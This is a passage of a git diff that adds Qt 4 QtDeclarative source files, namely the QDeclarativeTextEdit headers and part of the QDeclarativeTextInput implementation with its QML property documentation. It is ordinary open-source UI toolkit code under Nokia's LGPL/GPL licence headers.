+ Q_PROPERTY(QColor selectedTextColor READ selectedTextColor WRITE setSelectedTextColor NOTIFY selectedTextColorChanged)
+ Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY fontChanged)
+ Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign RESET resetHAlign NOTIFY horizontalAlignmentChanged)
+ Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged)
+ Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged)
+ Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1)
+ Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged)
+ Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged)
+ Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged)
+ Q_PROPERTY(bool readOnly READ isReadOnly WRITE setReadOnly NOTIFY readOnlyChanged)
+ Q_PROPERTY(bool cursorVisible READ isCursorVisible WRITE setCursorVisible NOTIFY cursorVisibleChanged)
+ Q_PROPERTY(int cursorPosition READ cursorPosition WRITE setCursorPosition NOTIFY cursorPositionChanged)
+ Q_PROPERTY(QRect cursorRectangle READ cursorRectangle NOTIFY cursorRectangleChanged)
+ Q_PROPERTY(QDeclarativeComponent* cursorDelegate READ cursorDelegate WRITE setCursorDelegate NOTIFY cursorDelegateChanged)
+ Q_PROPERTY(int selectionStart READ selectionStart NOTIFY selectionStartChanged)
+ Q_PROPERTY(int selectionEnd READ selectionEnd NOTIFY selectionEndChanged)
+ Q_PROPERTY(QString selectedText READ selectedText NOTIFY selectionChanged)
+ Q_PROPERTY(bool activeFocusOnPress READ focusOnPress WRITE setFocusOnPress NOTIFY activeFocusOnPressChanged)
+ Q_PROPERTY(bool persistentSelection READ persistentSelection WRITE setPersistentSelection NOTIFY persistentSelectionChanged)
+ Q_PROPERTY(qreal textMargin READ textMargin WRITE setTextMargin NOTIFY textMarginChanged)
+ Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ inputMethodHints WRITE setInputMethodHints)
+ Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged)
+ Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1)
+ Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1)
+ Q_PROPERTY(bool inputMethodComposing READ isInputMethodComposing NOTIFY inputMethodComposingChanged REVISION 1)
+
+public:
+ QDeclarativeTextEdit(QDeclarativeItem *parent=0);
+
+ enum HAlignment {
+ AlignLeft = Qt::AlignLeft,
+ AlignRight = Qt::AlignRight,
+ AlignHCenter = Qt::AlignHCenter,
+ AlignJustify = Qt::AlignJustify // ### VERSIONING: Only in QtQuick 1.1
+ };
+
+ enum VAlignment {
+ AlignTop = Qt::AlignTop,
+ AlignBottom = Qt::AlignBottom,
+ AlignVCenter = Qt::AlignVCenter
+ };
+
+ enum TextFormat {
+ PlainText = Qt::PlainText,
+ RichText = Qt::RichText,
+ AutoText = Qt::AutoText
+ };
+
+ enum WrapMode { NoWrap = QTextOption::NoWrap,
+ WordWrap = QTextOption::WordWrap,
+ WrapAnywhere = QTextOption::WrapAnywhere,
+ WrapAtWordBoundaryOrAnywhere = QTextOption::WrapAtWordBoundaryOrAnywhere, // COMPAT
+ Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere
+ };
+
+ enum SelectionMode {
+ SelectCharacters,
+ SelectWords
+ };
+
+ Q_INVOKABLE void openSoftwareInputPanel();
+ Q_INVOKABLE void closeSoftwareInputPanel();
+
+ QString text() const;
+ void setText(const QString &);
+
+ TextFormat textFormat() const;
+ void setTextFormat(TextFormat format);
+
+ QFont font() const;
+ void setFont(const QFont &font);
+
+ QColor color() const;
+ void setColor(const QColor &c);
+
+ QColor selectionColor() const;
+ void setSelectionColor(const QColor &c);
+
+ QColor selectedTextColor() const;
+ void setSelectedTextColor(const QColor &c);
+
+ HAlignment hAlign() const;
+ void setHAlign(HAlignment align);
+ void resetHAlign();
+ HAlignment effectiveHAlign() const;
+
+ VAlignment vAlign() const;
+ void setVAlign(VAlignment align);
+
+ WrapMode wrapMode() const;
+ void setWrapMode(WrapMode w);
+
+ int lineCount() const;
+
+ bool isCursorVisible() const;
+ void setCursorVisible(bool on);
+
+ int cursorPosition() const;
+ void setCursorPosition(int pos);
+
+ QDeclarativeComponent* cursorDelegate() const;
+ void setCursorDelegate(QDeclarativeComponent*);
+
+ int selectionStart() const;
+ int selectionEnd() const;
+
+ QString selectedText() const;
+
+ bool focusOnPress() const;
+ void setFocusOnPress(bool on);
+
+ bool persistentSelection() const;
+ void setPersistentSelection(bool on);
+
+ qreal textMargin() const;
+ void setTextMargin(qreal margin);
+
+ bool selectByMouse() const;
+ void setSelectByMouse(bool);
+
+ SelectionMode mouseSelectionMode() const;
+ void setMouseSelectionMode(SelectionMode mode);
+
+ bool canPaste() const;
+
+ virtual void componentComplete();
+
+ /* FROM EDIT */
+ void setReadOnly(bool);
+ bool isReadOnly() const;
+
+ void setTextInteractionFlags(Qt::TextInteractionFlags flags);
+ Qt::TextInteractionFlags textInteractionFlags() const;
+
+ QRect cursorRectangle() const;
+
+ QVariant inputMethodQuery(Qt::InputMethodQuery property) const;
+
+ qreal paintedWidth() const;
+ qreal paintedHeight() const;
+
+ Q_INVOKABLE QRectF positionToRectangle(int) const;
+ Q_INVOKABLE int positionAt(int x, int y) const;
+ Q_INVOKABLE void moveCursorSelection(int pos);
+ Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode);
+
+ QRectF boundingRect() const;
+
+ bool isInputMethodComposing() const;
+
+Q_SIGNALS:
+ void textChanged(const QString &);
+ void paintedSizeChanged();
+ void cursorPositionChanged();
+ void cursorRectangleChanged();
+ void selectionStartChanged();
+ void selectionEndChanged();
+ void selectionChanged();
+ void colorChanged(const QColor &color);
+ void selectionColorChanged(const QColor &color);
+ void selectedTextColorChanged(const QColor &color);
+ void fontChanged(const QFont &font);
+ void horizontalAlignmentChanged(HAlignment alignment);
+ void verticalAlignmentChanged(VAlignment alignment);
+ void wrapModeChanged();
+ void lineCountChanged();
+ void textFormatChanged(TextFormat textFormat);
+ void readOnlyChanged(bool isReadOnly);
+ void cursorVisibleChanged(bool isCursorVisible);
+ void cursorDelegateChanged();
+ void activeFocusOnPressChanged(bool activeFocusOnPressed);
+ void persistentSelectionChanged(bool isPersistentSelection);
+ void textMarginChanged(qreal textMargin);
+ void selectByMouseChanged(bool selectByMouse);
+ Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode);
+ Q_REVISION(1) void linkActivated(const QString &link);
+ Q_REVISION(1) void canPasteChanged();
+ Q_REVISION(1) void inputMethodComposingChanged();
+
+public Q_SLOTS:
+ void selectAll();
+ void selectWord();
+ void select(int start, int end);
+ Q_REVISION(1) void deselect();
+ Q_REVISION(1) bool isRightToLeft(int start, int end);
+#ifndef QT_NO_CLIPBOARD
+ void cut();
+ void copy();
+ void paste();
+#endif
+
+private Q_SLOTS:
+ void updateImgCache(const QRectF &rect);
+ void q_textChanged();
+ void updateSelectionMarkers();
+ void moveCursorDelegate();
+ void loadCursorDelegate();
+ void q_canPasteChanged();
+
+private:
+ void updateSize();
+ void updateTotalLines();
+
+protected:
+ virtual void geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry);
+
+ bool event(QEvent *);
+ void keyPressEvent(QKeyEvent *);
+ void keyReleaseEvent(QKeyEvent *);
+ void focusInEvent(QFocusEvent *event);
+
+ // mouse filter?
+ void mousePressEvent(QGraphicsSceneMouseEvent *event);
+ void mouseReleaseEvent(QGraphicsSceneMouseEvent *event);
+ void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event);
+ void mouseMoveEvent(QGraphicsSceneMouseEvent *event);
+
+ void inputMethodEvent(QInputMethodEvent *e);
+
+ void drawContents(QPainter *, const QRect &);
+private:
+ Q_DISABLE_COPY(QDeclarativeTextEdit)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeTextEdit)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeTextEdit)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
new file mode 100644
index 00000000..bdc4351c
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
@@ -0,0 +1,138 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETEXTEDIT_P_H
+#define QDECLARATIVETEXTEDIT_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativeitem.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
+
+#include <qdeclarative.h>
+
+QT_BEGIN_NAMESPACE
+class QTextLayout;
+class QTextDocument;
+class QTextControl;
+class QDeclarativeTextEditPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeTextEdit)
+
+public:
+ QDeclarativeTextEditPrivate()
+ : color("black"), hAlign(QDeclarativeTextEdit::AlignLeft), vAlign(QDeclarativeTextEdit::AlignTop),
+ imgDirty(true), dirty(false), richText(false), cursorVisible(false), focusOnPress(true),
+ showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), requireImplicitWidth(false),
+ hAlignImplicit(true), rightToLeftText(false), textMargin(0.0), lastSelectionStart(0), lastSelectionEnd(0),
+ cursorComponent(0), cursor(0), format(QDeclarativeTextEdit::AutoText), document(0), wrapMode(QDeclarativeTextEdit::NoWrap),
+ mouseSelectionMode(QDeclarativeTextEdit::SelectCharacters), selectByMouse(false), canPaste(false),
+ yoff(0)
+ {
+#ifdef Q_OS_SYMBIAN
+ if (QSysInfo::symbianVersion() >= QSysInfo::SV_SF_1) {
+ showInputPanelOnFocus = false;
+ }
+#endif
+ }
+
+ void init();
+
+ void updateDefaultTextOption();
+ void relayoutDocument();
+ void updateSelection();
+ bool determineHorizontalAlignment();
+ bool setHAlign(QDeclarativeTextEdit::HAlignment, bool forceAlign = false);
+ void mirrorChange();
+ qreal implicitWidth() const;
+ void focusChanged(bool);
+
+ QString text;
+ QFont font;
+ QFont sourceFont;
+ QColor color;
+ QColor selectionColor;
+ QColor selectedTextColor;
+ QString style;
+ QColor styleColor;
+ QPixmap imgCache;
+ QPixmap imgStyleCache;
+ QDeclarativeTextEdit::HAlignment hAlign;
+ QDeclarativeTextEdit::VAlignment vAlign;
+ bool imgDirty : 1;
+ bool dirty : 1;
+ bool richText : 1;
+ bool cursorVisible : 1;
+ bool focusOnPress : 1;
+ bool showInputPanelOnFocus : 1;
+ bool clickCausedFocus : 1;
+ bool persistentSelection : 1;
+ bool requireImplicitWidth:1;
+ bool hAlignImplicit:1;
+ bool rightToLeftText:1;
+ qreal textMargin;
+ int lastSelectionStart;
+ int lastSelectionEnd;
+ QDeclarativeComponent* cursorComponent;
+ QDeclarativeItem* cursor;
+ QDeclarativeTextEdit::TextFormat format;
+ QTextDocument *document;
+ QTextControl *control;
+ QDeclarativeTextEdit::WrapMode wrapMode;
+ QDeclarativeTextEdit::SelectionMode mouseSelectionMode;
+ int lineCount;
+ bool selectByMouse;
+ bool canPaste;
+ int yoff;
+ QSize paintedSize;
+};
+
+QT_END_NAMESPACE
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
new file mode 100644
index 00000000..18db4fda
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
@@ -0,0 +1,2009 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativetextinput_p.h"
+#include "private/qdeclarativetextinput_p_p.h"
+
+#include <private/qdeclarativeglobal_p.h>
+#include <qdeclarativeinfo.h>
+
+#include <QValidator>
+#include <QTextCursor>
+#include <QApplication>
+#include <QFontMetrics>
+#include <QPainter>
+#include <QTextBoundaryFinder>
+#include <QInputContext>
+#include <qstyle.h>
+
+#ifndef QT_NO_LINEEDIT
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass TextInput QDeclarativeTextInput
+ \ingroup qml-basic-visual-elements
+ \since 4.7
+ \brief The TextInput item displays an editable line of text.
+ \inherits Item
+
+ The TextInput element displays a single line of editable plain text.
+
+ TextInput is used to accept a line of text input. Input constraints
+ can be placed on a TextInput item (for example, through a \l validator or \l inputMask),
+ and setting \l echoMode to an appropriate value enables TextInput to be used for
+ a password input field.
+
+ On Mac OS X, the Up/Down key bindings for Home/End are explicitly disabled.
+ If you want such bindings (on any platform), you will need to construct them in QML.
+
+ \sa TextEdit, Text, {declarative/text/textselection}{Text Selection example}
+*/
+QDeclarativeTextInput::QDeclarativeTextInput(QDeclarativeItem* parent)
+ : QDeclarativeImplicitSizePaintedItem(*(new QDeclarativeTextInputPrivate), parent)
+{
+ Q_D(QDeclarativeTextInput);
+ d->init();
+}
+
+QDeclarativeTextInput::~QDeclarativeTextInput()
+{
+}
+
+/*!
+ \qmlproperty string TextInput::text
+
+ The text in the TextInput.
+*/
+
+QString QDeclarativeTextInput::text() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->control->text();
+}
+
+void QDeclarativeTextInput::setText(const QString &s)
+{
+ Q_D(QDeclarativeTextInput);
+ if(s == text())
+ return;
+ d->control->setText(s);
+}
+
+/*!
+ \qmlproperty string TextInput::font.family
+
+ Sets the family name of the font.
+
+ The family name is case insensitive and may optionally include a foundry name, e.g. "Helvetica [Cronyx]".
+ If the family is available from more than one foundry and the foundry isn't specified, an arbitrary foundry is chosen.
+ If the family isn't available a family will be set using the font matching algorithm.
+*/
+
+/*!
+ \qmlproperty bool TextInput::font.bold
+
+ Sets whether the font weight is bold.
+*/
+
+/*!
+ \qmlproperty enumeration TextInput::font.weight
+
+ Sets the font's weight.
+
+ The weight can be one of:
+ \list
+ \o Font.Light
+ \o Font.Normal - the default
+ \o Font.DemiBold
+ \o Font.Bold
+ \o Font.Black
+ \endlist
+
+ \qml
+ TextInput { text: "Hello"; font.weight: Font.DemiBold }
+ \endqml
+*/
+
+/*!
+ \qmlproperty bool TextInput::font.italic
+
+ Sets whether the font has an italic style.
+*/
+
+/*!
+ \qmlproperty bool TextInput::font.underline
+
+ Sets whether the text is underlined.
+*/
+
+/*!
+ \qmlproperty bool TextInput::font.strikeout
+
+ Sets whether the font has a strikeout style.
+*/
+
+/*!
+ \qmlproperty real TextInput::font.pointSize
+
+ Sets the font size in points. The point size must be greater than zero.
+*/
+
+/*!
+ \qmlproperty int TextInput::font.pixelSize
+
+ Sets the font size in pixels.
+
+ Using this function makes the font device dependent.
+ Use \c pointSize to set the size of the font in a device independent manner.
+*/
+
+/*!
+ \qmlproperty real TextInput::font.letterSpacing
+
+ Sets the letter spacing for the font.
+
+ Letter spacing changes the default spacing between individual letters in the font.
+ A positive value increases the letter spacing by the corresponding pixels; a negative value decreases the spacing.
+*/
+
+/*!
+ \qmlproperty real TextInput::font.wordSpacing
+
+ Sets the word spacing for the font.
+
+ Word spacing changes the default spacing between individual words.
+ A positive value increases the word spacing by a corresponding amount of pixels,
+ while a negative value decreases the inter-word spacing accordingly.
+*/
+
+/*!
+ \qmlproperty enumeration TextInput::font.capitalization
+
+ Sets the capitalization for the text.
+
+ \list
+ \o Font.MixedCase - This is the normal text rendering option where no capitalization change is applied.
+ \o Font.AllUppercase - This alters the text to be rendered in all uppercase type.
+ \o Font.AllLowercase - This alters the text to be rendered in all lowercase type.
+ \o Font.SmallCaps - This alters the text to be rendered in small-caps type.
+ \o Font.Capitalize - This alters the text to be rendered with the first character of each word as an uppercase character.
+ \endlist
+
+ \qml
+ TextInput { text: "Hello"; font.capitalization: Font.AllLowercase }
+ \endqml
+*/
+
+QFont QDeclarativeTextInput::font() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->sourceFont;
+}
+
+void QDeclarativeTextInput::setFont(const QFont &font)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->sourceFont == font)
+ return;
+
+ d->sourceFont = font;
+ QFont oldFont = d->font;
+ d->font = font;
+ if (d->font.pointSizeF() != -1) {
+ // 0.5pt resolution
+ qreal size = qRound(d->font.pointSizeF()*2.0);
+ d->font.setPointSizeF(size/2.0);
+ }
+
+ if (oldFont != d->font) {
+ d->control->setFont(d->font);
+ updateSize();
+ updateCursorRectangle();
+ if(d->cursorItem){
+ d->cursorItem->setHeight(QFontMetrics(d->font).height());
+ }
+ }
+ emit fontChanged(d->sourceFont);
+}
+
+/*!
+ \qmlproperty color TextInput::color
+
+ The text color.
+*/
+QColor QDeclarativeTextInput::color() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->color;
+}
+
+void QDeclarativeTextInput::setColor(const QColor &c)
+{
+ Q_D(QDeclarativeTextInput);
+ if (c != d->color) {
+ d->color = c;
+ clearCache();
+ update();
+ emit colorChanged(c);
+ }
+}
+
+
+/*!
+ \qmlproperty color TextInput::selectionColor
+
+ The text highlight color, used behind selections.
+*/
+QColor QDeclarativeTextInput::selectionColor() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->selectionColor;
+}
+
+void QDeclarativeTextInput::setSelectionColor(const QColor &color)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->selectionColor == color)
+ return;
+
+ d->selectionColor = color;
+ QPalette p = d->control->palette();
+ p.setColor(QPalette::Highlight, d->selectionColor);
+ d->control->setPalette(p);
+ if (d->control->hasSelectedText()) {
+ clearCache();
+ update();
+ }
+ emit selectionColorChanged(color);
+}
+
+/*!
+ \qmlproperty color TextInput::selectedTextColor
+
+ The highlighted text color, used in selections.
+*/
+QColor QDeclarativeTextInput::selectedTextColor() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->selectedTextColor;
+}
+
+void QDeclarativeTextInput::setSelectedTextColor(const QColor &color)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->selectedTextColor == color)
+ return;
+
+ d->selectedTextColor = color;
+ QPalette p = d->control->palette();
+ p.setColor(QPalette::HighlightedText, d->selectedTextColor);
+ d->control->setPalette(p);
+ if (d->control->hasSelectedText()) {
+ clearCache();
+ update();
+ }
+ emit selectedTextColorChanged(color);
+}
+
+/*!
+ \qmlproperty enumeration TextInput::horizontalAlignment
+
+ Sets the horizontal alignment of the text within the TextInput item's
+ width and height. By default, the text alignment follows the natural alignment
+ of the text, for example text that is read from left to right will be aligned to
+ the left.
+
+ TextInput does not have vertical alignment, as the natural height is
+ exactly the height of the single line of text. If you set the height
+ manually to something larger, TextInput will always be top aligned
+ vertically. You can use anchors to align it however you want within
+ another item.
+
+ The valid values for \c horizontalAlignment are \c TextInput.AlignLeft, \c TextInput.AlignRight and
+ \c TextInput.AlignHCenter.
+
+ When using the attached property \l {LayoutMirroring::enabled} to mirror application
+ layouts, the horizontal alignment of text will also be mirrored. However, the property
+ \c horizontalAlignment will remain unchanged. To query the effective horizontal alignment
+ of TextInput, use the property \l {LayoutMirroring::enabled}.
+*/
+QDeclarativeTextInput::HAlignment QDeclarativeTextInput::hAlign() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->hAlign;
+}
+
+void QDeclarativeTextInput::setHAlign(HAlignment align)
+{
+ Q_D(QDeclarativeTextInput);
+ bool forceAlign = d->hAlignImplicit && d->effectiveLayoutMirror;
+ d->hAlignImplicit = false;
+ if (d->setHAlign(align, forceAlign) && isComponentComplete()) {
+ updateCursorRectangle();
+ }
+}
+
+void QDeclarativeTextInput::resetHAlign()
+{
+ Q_D(QDeclarativeTextInput);
+ d->hAlignImplicit = true;
+ if (d->determineHorizontalAlignment() && isComponentComplete()) {
+ updateCursorRectangle();
+ }
+}
+
+QDeclarativeTextInput::HAlignment QDeclarativeTextInput::effectiveHAlign() const
+{
+ Q_D(const QDeclarativeTextInput);
+ QDeclarativeTextInput::HAlignment effectiveAlignment = d->hAlign;
+ if (!d->hAlignImplicit && d->effectiveLayoutMirror) {
+ switch (d->hAlign) {
+ case QDeclarativeTextInput::AlignLeft:
+ effectiveAlignment = QDeclarativeTextInput::AlignRight;
+ break;
+ case QDeclarativeTextInput::AlignRight:
+ effectiveAlignment = QDeclarativeTextInput::AlignLeft;
+ break;
+ default:
+ break;
+ }
+ }
+ return effectiveAlignment;
+}
+
+bool QDeclarativeTextInputPrivate::setHAlign(QDeclarativeTextInput::HAlignment alignment, bool forceAlign)
+{
+ Q_Q(QDeclarativeTextInput);
+ if ((hAlign != alignment || forceAlign) && alignment <= QDeclarativeTextInput::AlignHCenter) { // justify not supported
+ QDeclarativeTextInput::HAlignment oldEffectiveHAlign = q->effectiveHAlign();
+ hAlign = alignment;
+ emit q->horizontalAlignmentChanged(alignment);
+ return true;
+ }
+ return false;
+}
+
+bool QDeclarativeTextInputPrivate::determineHorizontalAlignment()
+{
+ if (hAlignImplicit) {
+ // if no explicit alignment has been set, follow the natural layout direction of the text
+ QString text = control->text();
+ if (text.isEmpty())
+ text = control->preeditAreaText();
+ bool isRightToLeft = text.isEmpty()
+ ? QApplication::keyboardInputDirection() == Qt::RightToLeft
+ : text.isRightToLeft();
+ return setHAlign(isRightToLeft ? QDeclarativeTextInput::AlignRight : QDeclarativeTextInput::AlignLeft);
+ }
+ return false;
+}
+
+void QDeclarativeTextInputPrivate::mirrorChange()
+{
+ Q_Q(QDeclarativeTextInput);
+ if (q->isComponentComplete()) {
+ if (!hAlignImplicit && (hAlign == QDeclarativeTextInput::AlignRight || hAlign == QDeclarativeTextInput::AlignLeft)) {
+ q->updateCursorRectangle();
+ updateHorizontalScroll();
+ }
+ }
+}
+
+/*!
+ \qmlproperty bool TextInput::readOnly
+
+ Sets whether user input can modify the contents of the TextInput.
+
+ If readOnly is set to true, then user input will not affect the text
+ property. Any bindings or attempts to set the text property will still
+ work.
+*/
+
+bool QDeclarativeTextInput::isReadOnly() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->control->isReadOnly();
+}
+
+void QDeclarativeTextInput::setReadOnly(bool ro)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->control->isReadOnly() == ro)
+ return;
+
+ setFlag(QGraphicsItem::ItemAcceptsInputMethod, !ro);
+ d->control->setReadOnly(ro);
+
+ emit readOnlyChanged(ro);
+}
+
+/*!
+ \qmlproperty int TextInput::maximumLength
+ The maximum permitted length of the text in the TextInput.
+
+ If the text is too long, it is truncated at the limit.
+
+ By default, this property contains a value of 32767.
+*/
+int QDeclarativeTextInput::maxLength() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->control->maxLength();
+}
+
+void QDeclarativeTextInput::setMaxLength(int ml)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->control->maxLength() == ml)
+ return;
+
+ d->control->setMaxLength(ml);
+
+ emit maximumLengthChanged(ml);
+}
+
+/*!
+ \qmlproperty bool TextInput::cursorVisible
+ Set to true when the TextInput shows a cursor.
+
+ This property is set and unset when the TextInput gets active focus, so that other
+ properties can be bound to whether the cursor is currently showing. As it
+ gets set and unset automatically, when you set the value yourself you must
+ keep in mind that your value may be overwritten.
+
+ It can be set directly in script, for example if a KeyProxy might
+ forward keys to it and you desire it to look active when this happens
+ (but without actually giving it active focus).
+
+ It should not be set directly on the element, like in the below QML,
+ as the specified value will be overridden an lost on focus changes.
+
+ \code
+ TextInput {
+ text: "Text"
+ cursorVisible: false
+ }
+ \endcode
+
+ In the above snippet the cursor will still become visible when the
+ TextInput gains active focus.
+*/
+bool QDeclarativeTextInput::isCursorVisible() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->cursorVisible;
+}
+
+void QDeclarativeTextInput::setCursorVisible(bool on)
+{
+ Q_D(QDeclarativeTextInput);
+ if (d->cursorVisible == on)
+ return;
+ d->cursorVisible = on;
+ d->control->setCursorBlinkPeriod(on?QApplication::cursorFlashTime():0);
+ QRect r = d->control->cursorRect();
+ if (d->control->inputMask().isEmpty())
+ updateRect(r);
+ else
+ updateRect();
+ emit cursorVisibleChanged(d->cursorVisible);
+}
+
+/*!
+ \qmlproperty int TextInput::cursorPosition
+ The position of the cursor in the TextInput.
+*/
+int QDeclarativeTextInput::cursorPosition() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->control->cursor();
+}
+void QDeclarativeTextInput::setCursorPosition(int cp)
+{
+ Q_D(QDeclarativeTextInput);
+ if (cp < 0 || cp > d->control->text().length())
+ return;
+ d->control->moveCursor(cp);
+}
+
+/*!
+ Returns a Rect which encompasses the cursor, but which may be larger than is
+ required. Ignores custom cursor delegates.
+*/
+QRect QDeclarativeTextInput::cursorRectangle() const
+{
+ Q_D(const QDeclarativeTextInput);
+ QRect r = d->control->cursorRect();
+ // Scroll and make consistent with TextEdit
+ // QLineControl inexplicably adds 1 to the height and horizontal padding
+ // for unicode direction markers.
+ r.adjust(5 - d->hscroll, 0, -4 - d->hscroll, -1);
+ return r;
+}
+
+/*!
+ \qmlproperty int TextInput::selectionStart
+
+ The cursor position before the first character in the current selection.
+
+ This property is read-only. To change the selection, use select(start,end),
+ selectAll(), or selectWord().
+
+ \sa selectionEnd, cursorPosition, selectedText
+*/
+int QDeclarativeTextInput::selectionStart() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->lastSelectionStart;
+}
+
+/*!
+ \qmlproperty int TextInput::selectionEnd
+
+ The cursor position after the last character in the current selection.
+
+ This property is read-only. To change the selection, use select(start,end),
+ selectAll(), or selectWord().
+
+ \sa selectionStart, cursorPosition, selectedText
+*/
+int QDeclarativeTextInput::selectionEnd() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->lastSelectionEnd;
+}
+
+/*!
+ \qmlmethod void TextInput::select(int start, int end)
+
+ Causes the text from \a start to \a end to be selected.
+
+ If either start or end is out of range, the selection is not changed.
+
+ After calling this, selectionStart will become the lesser
+ and selectionEnd will become the greater (regardless of the order passed
+ to this method).
+
+ \sa selectionStart, selectionEnd
+*/
+void QDeclarativeTextInput::select(int start, int end)
+{
+ Q_D(QDeclarativeTextInput);
+ if (start < 0 || end < 0 || start > d->control->text().length() || end > d->control->text().length())
+ return;
+ d->control->setSelection(start, end-start);
+}
+
+/*!
+ \qmlproperty string TextInput::selectedText
+
+ This read-only property provides the text currently selected in the
+ text input.
+
+ It is equivalent to the following snippet, but is faster and easier
+ to use.
+
+ \js
+ myTextInput.text.toString().substring(myTextInput.selectionStart,
+ myTextInput.selectionEnd);
+ \endjs
+*/
+QString QDeclarativeTextInput::selectedText() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->control->selectedText();
+}
+
+/*!
+ \qmlproperty bool TextInput::activeFocusOnPress
+
+ Whether the TextInput should gain active focus on a mouse press. By default this is
+ set to true.
+*/
+bool QDeclarativeTextInput::focusOnPress() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->focusOnPress;
+}
+
